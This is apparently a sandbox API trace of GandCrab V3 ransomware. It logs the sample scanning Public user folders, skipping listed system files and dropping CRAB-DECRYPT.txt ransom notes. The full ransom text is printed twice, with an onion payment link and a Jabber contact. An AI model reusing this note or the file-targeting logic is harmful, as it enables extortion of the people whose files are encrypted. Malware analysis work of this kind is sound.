	[0136.943] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.943] lstrlenW (lpString="C:\\Users\\Public\\AccountPictures\\desktop.ini") returned 43
	[0136.943] lstrlenW (lpString="C:\\Users\\Public\\AccountPictures\\desktop.ini") returned 43
	[0136.943] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0136.943] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.943] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.944] FindClose (in: hFindFile=0x3248270 | out: hFindFile=0x3248270) returned 1
	[0136.944] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.944] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.944] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.944] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\CRAB-DECRYPT.txt"
	[0136.944] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.944] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\CRAB-DECRYPT.txt") returned 32
	[0136.944] lstrlenW (lpString="C:\\Users\\Public\\CRAB-DECRYPT.txt") returned 32
	[0136.944] lstrlenW (lpString=".txt") returned 4
	[0136.944] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.944] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.944] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.945] lstrlenW (lpString="C:\\Users\\Public\\CRAB-DECRYPT.txt") returned 32
	[0136.945] lstrlenW (lpString="C:\\Users\\Public\\CRAB-DECRYPT.txt") returned 32
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.945] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.945] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.945] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.945] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1
	[0136.945] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1
	[0136.945] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0136.945] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.945] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.946] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.946] lstrcmpiW (lpString1="C:\\Users\\Public\\Desktop\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.946] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.946] lstrcmpiW (lpString1="C:\\Users\\Public\\Desktop\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 0
	[0136.946] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\") returned 24
	[0136.946] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Desktop\\*") returned="C:\\Users\\Public\\Desktop\\*"
	[0136.946] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3247f70
	[0136.947] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.947] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.947] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.947] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.947] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.947] lstrcmpW (lpString1="Acrobat Reader DC.lnk", lpString2=".") returned 1
	[0136.947] lstrcmpW (lpString1="Acrobat Reader DC.lnk", lpString2="..") returned 1
	[0136.947] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="Acrobat Reader DC.lnk" | out: lpString1="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk") returned="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk"
	[0136.947] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.947] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk") returned 45
	[0136.947] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk") returned 45
	[0136.947] lstrlenW (lpString=".lnk") returned 4
	[0136.947] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.948] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0136.948] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.948] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.948] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.948] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0136.948] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0136.948] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\Desktop\\desktop.ini") returned="C:\\Users\\Public\\Desktop\\desktop.ini"
	[0136.948] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.948] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Desktop\\desktop.ini") returned 35
	[0136.949] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\desktop.ini") returned 35
	[0136.949] lstrlenW (lpString=".ini") returned 4
	[0136.949] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.949] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0136.949] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.949] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\desktop.ini") returned 35
	[0136.949] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\desktop.ini") returned 35
	[0136.949] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0136.949] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.949] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.949] lstrcmpW (lpString1="Google Chrome.lnk", lpString2=".") returned 1
	[0136.949] lstrcmpW (lpString1="Google Chrome.lnk", lpString2="..") returned 1
	[0136.950] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned="C:\\Users\\Public\\Desktop\\Google Chrome.lnk"
	[0136.950] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.950] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned 41
	[0136.950] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned 41
	[0136.950] lstrlenW (lpString=".lnk") returned 4
	[0136.950] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.950] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0136.950] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.950] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.951] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.951] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1
	[0136.951] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1
	[0136.951] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk"
	[0136.951] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.951] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned 43
	[0136.951] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned 43
	[0136.951] lstrlenW (lpString=".lnk") returned 4
	[0136.951] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.951] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lnk ") returned 5
	[0136.951] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.952] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.952] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.952] FindClose (in: hFindFile=0x3247f70 | out: hFindFile=0x3247f70) returned 1
	[0136.952] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.952] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0136.952] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0136.952] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\desktop.ini") returned="C:\\Users\\Public\\desktop.ini"
	[0136.952] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.952] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\desktop.ini") returned 27
	[0136.953] lstrlenW (lpString="C:\\Users\\Public\\desktop.ini") returned 27
	[0136.953] lstrlenW (lpString=".ini") returned 4
	[0136.953] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.953] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0136.953] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.953] lstrlenW (lpString="C:\\Users\\Public\\desktop.ini") returned 27
	[0136.953] lstrlenW (lpString="C:\\Users\\Public\\desktop.ini") returned 27
	[0136.953] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0136.953] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.953] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.953] lstrcmpW (lpString1="Documents", lpString2=".") returned 1
	[0136.954] lstrcmpW (lpString1="Documents", lpString2="..") returned 1
	[0136.954] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0136.954] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\"
	[0136.954] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.954] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.955] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.955] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.955] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.955] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.955] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0136.955] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.955] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Documents\\\\CRAB-DECRYPT.txt") returned 43
	[0136.955] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\documents\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.958] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.958] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.959] CloseHandle (hObject=0x3d4) returned 1
	[0136.959] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.959] lstrlenW (lpString="C:\\Users\\Public\\Documents\\") returned 26
	[0136.959] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Documents\\*") returned="C:\\Users\\Public\\Documents\\*"
	[0136.959] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3247f70
	[0136.960] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.960] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.960] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.960] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.960] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.960] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.960] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.960] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\Documents\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\Documents\\CRAB-DECRYPT.txt"
	[0136.960] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.960] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Documents\\CRAB-DECRYPT.txt") returned 42
	[0136.960] lstrlenW (lpString="C:\\Users\\Public\\Documents\\CRAB-DECRYPT.txt") returned 42
	[0136.960] lstrlenW (lpString=".txt") returned 4
	[0136.960] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.960] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.961] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.961] lstrlenW (lpString="C:\\Users\\Public\\Documents\\CRAB-DECRYPT.txt") returned 42
	[0136.961] lstrlenW (lpString="C:\\Users\\Public\\Documents\\CRAB-DECRYPT.txt") returned 42
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.961] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.961] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.961] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.961] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0136.961] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0136.962] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\Documents\\desktop.ini") returned="C:\\Users\\Public\\Documents\\desktop.ini"
	[0136.962] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.962] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Documents\\desktop.ini") returned 37
	[0136.962] lstrlenW (lpString="C:\\Users\\Public\\Documents\\desktop.ini") returned 37
	[0136.962] lstrlenW (lpString=".ini") returned 4
	[0136.962] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.962] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0136.962] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.962] lstrlenW (lpString="C:\\Users\\Public\\Documents\\desktop.ini") returned 37
	[0136.962] lstrlenW (lpString="C:\\Users\\Public\\Documents\\desktop.ini") returned 37
	[0136.962] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0136.963] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.963] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.963] lstrcmpW (lpString1="My Music", lpString2=".") returned 1
	[0136.963] lstrcmpW (lpString1="My Music", lpString2="..") returned 1
	[0136.963] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music"
	[0136.963] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\"
	[0136.963] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.963] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.963] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.964] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.964] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.964] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.964] lstrcmpiW (lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0136.964] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.964] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Documents\\My Music\\\\CRAB-DECRYPT.txt") returned 52
	[0136.964] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\documents\\my music\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0136.965] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
